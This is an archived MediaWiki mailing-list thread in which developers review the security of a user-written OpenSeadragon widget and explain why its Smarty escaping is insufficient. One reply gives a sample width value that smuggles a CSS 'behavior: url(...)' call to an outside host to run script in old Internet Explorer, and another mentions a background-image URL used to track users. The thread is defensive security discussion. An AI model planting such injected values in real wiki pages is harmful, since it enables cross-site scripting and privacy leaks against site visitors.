Hello,
I was wondering about the security of Widgets ( https://www.mediawiki.org/wiki/Extension:Widgets ) that get parameters passed to them. Any thoughts?
Are the parameters passed through to the widget cleansed of html/scripts? If it isn't -- is it possible to easily enforce typing/boundaries on the parameters?
Generally, speaking, I am looking for a discussion around security & widgets.
A widget I created (below) takes three parameters (width, height, filename) and feeds those to OpenSeadragon( https://openseadragon.github.io / https://en.wikipedia.org/wiki/Seadragon_Software ). It works on a testing server.
OpenSeadragon was discussed in brain storming in 2015 - https://www.mediawiki.org/wiki/Reading/Quarterly_Brainstorming
My interest in this is virtual (microscopic) slides (e.g. http://openslide.org/demo/ ) which are often several gigabytes of data each.
Thanks, Michael
------------------------ Widget code...
Create page: Widget:OpenSeadragon --------------------------------------------------------------------- <noinclude>__NOTOC__ <!-- Copyright (c) 2016 Michael Bonert --> <!-- Released under GNU General Public Licence - Version 3; see http://www.gnu.org/licenses/gpl.html --> To insert this widget, use the following code:
<nowiki>{{#widget:</nowiki>{{PAGENAME}}<nowiki> |image=12881.dzi |width=800 |height=600 }}</nowiki>
</noinclude> <includeonly><!-- This inserts an OpenSeadragon image --> <div id="openseadragon1" style="width: <!--{$width|default:400|escape:'html'}-->px; height: <!--{$height|default:300|escape:'html'}-->px;"></div> <script src="../../openseadragon/openseadragon.min.js"></script> <script type="text/javascript"> var viewer = OpenSeadragon({ id: "openseadragon1", prefixUrl: "../../openseadragon/images/", tileSources: "../../vslide/<!--{$image|escape:'urlpathinfo'}-->" }); </script> </includeonly> -------------------------------------------------
On Sat, Oct 29, 2016 at 2:50 PM, Dr. Michael Bonert michael@librepathology.org wrote:
Hello,
I was wondering about the security of Widgets ( https://www.mediawiki.org/wiki/Extension:Widgets ) that get parameters passed to them. Any thoughts?
Are the parameters passed through to the widget cleansed of html/scripts? If it isn't -- is it possible to easily enforce typing/boundaries on the parameters?
Generally, speaking, I am looking for a discussion around security & widgets.
A widget I created (below) takes three parameters (width, height, filename) and feeds those to OpenSeadragon( https://openseadragon.github.io / https://en.wikipedia.org/wiki/Seadragon_Software ). It works on a testing server.
OpenSeadragon was discussed in brain storming in 2015 - https://www.mediawiki.org/wiki/Reading/Quarterly_Brainstorming
My interest in this is virtual (microscopic) slides (e.g. http://openslide.org/demo/ ) which are often several gigabytes of data each.
Thanks, Michael
Widget code...
Create page: Widget:OpenSeadragon
<noinclude>__NOTOC__
<!-- Copyright (c) 2016 Michael Bonert -->
<!-- Released under GNU General Public Licence - Version 3; see http://www.gnu.org/licenses/gpl.html -->
To insert this widget, use the following code:
<nowiki>{{#widget:</nowiki>{{PAGENAME}}<nowiki> |image=12881.dzi |width=800 |height=600 }}</nowiki>
</noinclude> <includeonly><!-- This inserts an OpenSeadragon image --> <div id="openseadragon1" style="width: <!--{$width|default:400|escape:'html'}-->px; height: <!--{$height|default:300|escape:'html'}-->px;"></div> <script src="../../openseadragon/openseadragon.min.js"></script> <script type="text/javascript"> var viewer = OpenSeadragon({ id: "openseadragon1", prefixUrl: "../../openseadragon/images/", tileSources: "../../vslide/<!--{$image|escape:'urlpathinfo'}-->" }); </script> </includeonly> -------------------------------------------------
In theory that's what the escape modifier is for in smarty parameters.
However, in this example, <!--{$width|default:400|escape:'html'}-->px; inside a style attribute isn't really sufficient, as a user could set a width parameter like "400; behavior: url( 'https://foo.com/bar.htc#baz' );x: ", which would cause javascript execution on IE9 and older. (There are other properties for other browsers, however mostly affecting only older browsers). You could also leak private info about your users by doing something like background-image: url( "http://external.com/foo.png" ) .
[Disclaimer: I have not read the source code of the widgets extension, so there could also potentially be generic security issues with the extension. Since I haven't reviewed it, I don't really know].
-- bawolff
On Sat, Oct 29, 2016 at 3:40 PM, Brian Wolff bawolff@gmail.com wrote:
On Sat, Oct 29, 2016 at 2:50 PM, Dr. Michael Bonert michael@librepathology.org wrote:
Hello,
I was wondering about the security of Widgets ( https://www.mediawiki.org/wiki/Extension:Widgets ) that get parameters passed to them. Any thoughts?
Are the parameters passed through to the widget cleansed of html/scripts? If it isn't -- is it possible to easily enforce typing/boundaries on the parameters?
Generally, speaking, I am looking for a discussion around security & widgets.
A widget I created (below) takes three parameters (width, height, filename) and feeds those to OpenSeadragon( https://openseadragon.github.io / https://en.wikipedia.org/wiki/Seadragon_Software ). It works on a testing server.
OpenSeadragon was discussed in brain storming in 2015 - https://www.mediawiki.org/wiki/Reading/Quarterly_Brainstorming
My interest in this is virtual (microscopic) slides (e.g. http://openslide.org/demo/ ) which are often several gigabytes of data each.
Thanks, Michael
Widget code...
Create page: Widget:OpenSeadragon
<noinclude>__NOTOC__
<!-- Copyright (c) 2016 Michael Bonert -->
<!-- Released under GNU General Public Licence - Version 3; see http://www.gnu.org/licenses/gpl.html -->
To insert this widget, use the following code:
<nowiki>{{#widget:</nowiki>{{PAGENAME}}<nowiki> |image=12881.dzi |width=800 |height=600 }}</nowiki>
</noinclude> <includeonly><!-- This inserts an OpenSeadragon image --> <div id="openseadragon1" style="width: <!--{$width|default:400|escape:'html'}-->px; height: <!--{$height|default:300|escape:'html'}-->px;"></div> <script src="../../openseadragon/openseadragon.min.js"></script> <script type="text/javascript"> var viewer = OpenSeadragon({ id: "openseadragon1", prefixUrl: "../../openseadragon/images/", tileSources: "../../vslide/<!--{$image|escape:'urlpathinfo'}-->" }); </script> </includeonly> -------------------------------------------------
In theory that's what the escape modifier is for in smarty parameters.
However, in this example, <!--{$width|default:400|escape:'html'}-->px; inside a style attribute isn't really sufficient, as a user could set a width parameter like "400; behavior: url( 'https://foo.com/bar.htc#baz' );x: ", which would cause javascript execution on IE9 and older. (There are other properties for other browsers, however mostly affecting only older browsers). You could also leak private info about your users by doing something like background-image: url( "http://external.com/foo.png" ) .
[Disclaimer: I have not read the source code of the widgets extension, so there could also potentially be generic security issues with the extension. Since I haven't reviewed it, I don't really know].
-- bawolff
Just as a p.s. I just poked around mediawikiwidgets.com . I looked at three widgets at random - all 3 had XSS vulnerabilities. Now of course, 3 is a very small sample size, so it may have been luck of the draw. Nevertheless, I'd like to take this moment to urge anyone using a widget made by someone else to review it carefully before use as many widgets are insecure.
-- bawolff
On 2016-10-29 8:40 AM, Brian Wolff wrote:
On Sat, Oct 29, 2016 at 2:50 PM, Dr. Michael Bonert michael@librepathology.org wrote:
Hello,
I was wondering about the security of Widgets ( https://www.mediawiki.org/wiki/Extension:Widgets ) that get parameters passed to them. Any thoughts?
Are the parameters passed through to the widget cleansed of html/scripts? If it isn't -- is it possible to easily enforce typing/boundaries on the parameters?
There is no way to abstractly ensure scripts are cleaned from text. If you know exactly where it is going you may be able to escape everything. But you cannot target scripting explicitly and expect to clean it up, as there are numerous tricks that can be used to bypass anything but the strictest of escaping: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
Create page: Widget:OpenSeadragon
<noinclude>__NOTOC__
<!-- Copyright (c) 2016 Michael Bonert -->
<!-- Released under GNU General Public Licence - Version 3; see http://www.gnu.org/licenses/gpl.html -->
To insert this widget, use the following code:
<nowiki>{{#widget:</nowiki>{{PAGENAME}}<nowiki> |image=12881.dzi |width=800 |height=600 }}</nowiki>
</noinclude> <includeonly><!-- This inserts an OpenSeadragon image --> <div id="openseadragon1" style="width: <!--{$width|default:400|escape:'html'}-->px; height: <!--{$height|default:300|escape:'html'}-->px;"></div> <script src="../../openseadragon/openseadragon.min.js"></script> <script type="text/javascript"> var viewer = OpenSeadragon({ id: "openseadragon1", prefixUrl: "../../openseadragon/images/", tileSources: "../../vslide/<!--{$image|escape:'urlpathinfo'}-->" }); </script> </includeonly> -------------------------------------------------
In theory that's what the escape modifier is for in smarty parameters.
However, in this example, <!--{$width|default:400|escape:'html'}-->px; inside a style attribute isn't really sufficient, as a user could set a width parameter like "400; behavior: url( 'https://foo.com/bar.htc#baz' );x: ", which would cause javascript execution on IE9 and older. (There are other properties for other browsers, however mostly affecting only older browsers). You could also leak private info about your users by doing something like background-image: url( "http://external.com/foo.png" ) .
[Disclaimer: I have not read the source code of the widgets extension, so there could also potentially be generic security issues with the extension. Since I haven't reviewed it, I don't really know].
-- bawolff
And then there is $image. urlpathinfo doesn't escape quotes, backslashes, or </script>.
Quite simply just about every Widget that embeds a string into a <script> tag is vulnerable because Smarty does not give easy access to the type of escaping you need to do to make text safe for a <script> tag (generally the safest method is to just JSON.stringify the whole string and make sure to escape </script>; though there's a chance that even that isn't enough).
And then there are the few widgets that don't even do any escaping at all; rather than just don't do enough escaping.
~Daniel Friesen (Dantman, Nadir-Seen-Fire) [http://danielfriesen.name/]
On Saturday, October 29, 2016, Daniel Friesen daniel@nadir-seen-fire.com wrote:
On 2016-10-29 8:40 AM, Brian Wolff wrote:
On Sat, Oct 29, 2016 at 2:50 PM, Dr. Michael Bonert michael@librepathology.org wrote:
Hello,
I was wondering about the security of Widgets ( https://www.mediawiki.org/wiki/Extension:Widgets ) that get parameters passed to them. Any thoughts?
Are the parameters passed through to the widget cleansed of
html/scripts?
If it isn't -- is it possible to easily enforce typing/boundaries on the parameters?
There is no way to abstractly ensure scripts are cleaned from text. If you know exactly where it is going you may be able to escape everything. But you cannot target scripting explicitly and expect to clean it up, as there are numerous tricks that can be used to bypass anything but the strictest of escaping: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
Create page: Widget:OpenSeadragon
<noinclude>__NOTOC__
<!-- Copyright (c) 2016 Michael Bonert -->
<!-- Released under GNU General Public Licence - Version 3; see http://www.gnu.org/licenses/gpl.html -->
To insert this widget, use the following code:
<nowiki>{{#widget:</nowiki>{{PAGENAME}}<nowiki> |image=12881.dzi |width=800 |height=600 }}</nowiki>
</noinclude> <includeonly><!-- This inserts an OpenSeadragon image --> <div id="openseadragon1" style="width: <!--{$width|default:400|escape:'html'}-->px; height: <!--{$height|default:300|escape:'html'}-->px;"></div> <script src="../../openseadragon/openseadragon.min.js"></script> <script type="text/javascript"> var viewer = OpenSeadragon({ id: "openseadragon1", prefixUrl: "../../openseadragon/images/", tileSources: "../../vslide/<!--{$image|escape:'urlpathinfo'}-->" }); </script> </includeonly> -------------------------------------------------
In theory that's what the escape modifier is for in smarty parameters.
However, in this example, <!--{$width|default:400|escape:'html'}-->px; inside a style attribute isn't really sufficient, as a user could set a width parameter like "400; behavior: url( 'https://foo.com/bar.htc#baz' );x: ", which would cause javascript execution on IE9 and older. (There are other properties for other browsers, however mostly affecting only older browsers). You could also leak private info about your users by doing something like background-image: url( "http://external.com/foo.png" ) .
[Disclaimer: I have not read the source code of the widgets extension, so there could also potentially be generic security issues with the extension. Since I haven't reviewed it, I don't really know].
-- bawolff
And then there is $image. urlpathinfo doesn't escape quotes, backslashes, or </script>.
Its hard to find docs on what urlpathinfo actually does (talk about a red flag for a security mechanism...) but i thought it was basically rawurlencode, which i think escapes all the relavent characters in this context as percent encoding.
-- Bawolff
On 2016-10-29 5:30 PM, Brian Wolff wrote:
On Saturday, October 29, 2016, Daniel Friesen daniel@nadir-seen-fire.com wrote:
And then there is $image. urlpathinfo doesn't escape quotes, backslashes, or </script>.
Its hard to find docs on what urlpathinfo actually does (talk about a red flag for a security mechanism...) but i thought it was basically rawurlencode, which i think escapes all the relavent characters in this context as percent encoding.
-- Bawolff
You're right, urlpathinfo does escape '</script> to %27%3C/script%3E.
I was testing against the DISQUS widget's code which supposedly used urlpathinfo for its $id parameter: http://www.mediawikiwidgets.org/w/index.php?title=Widget:DISQUS&action=e...
However it turns out that the actual code in the widget was '<!--{$id|escape:'urlpathinfo '}-->' (there is a space after urlpathinfo but before the quote).
So it seems that `|escape:'urlpathinfo'` will safely escape things. But an extra space in the escape type name will make it an invalid escape type and when Widgets encounters an invalid escape type, instead of erroring out and warning you it just ignores the escape entirely and drops a wide open security hole in your widget.
(That said DISQUS and nearly every other inline script using widget is still broken even if urlpathinfo worked because just about everyone of them uses something like '<!--{$url|escape:'quotes'}-->' which offers no security because it pretty much only escapes double quotes, leaving BOTH single quotes and </script> free to inject code)
~Daniel Friesen (Dantman, Nadir-Seen-Fire) [http://danielfriesen.name/]
On Sat, Oct 29, 2016 at 2:50 PM, Dr. Michael Bonert michael@librepathology.org wrote:
Hello,
I was wondering about the security of Widgets ( https://www.mediawiki.org/wiki/Extension:Widgets ) that get parameters passed to them. Any thoughts?
Are the parameters passed through to the widget cleansed of html/scripts? If it isn't -- is it possible to easily enforce typing/boundaries on the parameters?
Generally, speaking, I am looking for a discussion around security & widgets.
A widget I created (below) takes three parameters (width, height, filename) and feeds those to OpenSeadragon( https://openseadragon.github.io / https://en.wikipedia.org/wiki/Seadragon_Software ). It works on a testing server.
OpenSeadragon was discussed in brain storming in 2015 - https://www.mediawiki.org/wiki/Reading/Quarterly_Brainstorming
My interest in this is virtual (microscopic) slides (e.g. http://openslide.org/demo/ ) which are often several gigabytes of data each.
Thanks, Michael
Widget code...
Create page: Widget:OpenSeadragon
<noinclude>__NOTOC__
<!-- Copyright (c) 2016 Michael Bonert -->
<!-- Released under GNU General Public Licence - Version 3; see http://www.gnu.org/licenses/gpl.html -->
To insert this widget, use the following code:
<nowiki>{{#widget:</nowiki>{{PAGENAME}}<nowiki> |image=12881.dzi |width=800 |height=600 }}</nowiki>
</noinclude> <includeonly><!-- This inserts an OpenSeadragon image --> <div id="openseadragon1" style="width: <!--{$width|default:400|escape:'html'}-->px; height: <!--{$height|default:300|escape:'html'}-->px;"></div> <script src="../../openseadragon/openseadragon.min.js"></script> <script type="text/javascript"> var viewer = OpenSeadragon({ id: "openseadragon1", prefixUrl: "../../openseadragon/images/", tileSources: "../../vslide/<!--{$image|escape:'urlpathinfo'}-->" }); </script> </includeonly> -------------------------------------------------
[Sorry for so much spam to list]
p.p.s. I guess I should actually answer your question. I'm not really familiar with smarty/widgets best practices so there might be a better way, but one possible solution would be code like <!--{$width|default:400|regex_replace:"/\D/":""} -->. In theory anyways (I based that on the docs, have not tested, could totally be misunderstanding things and be totally wrong).
-- bawolff
mediawiki-l@lists.wikimedia.org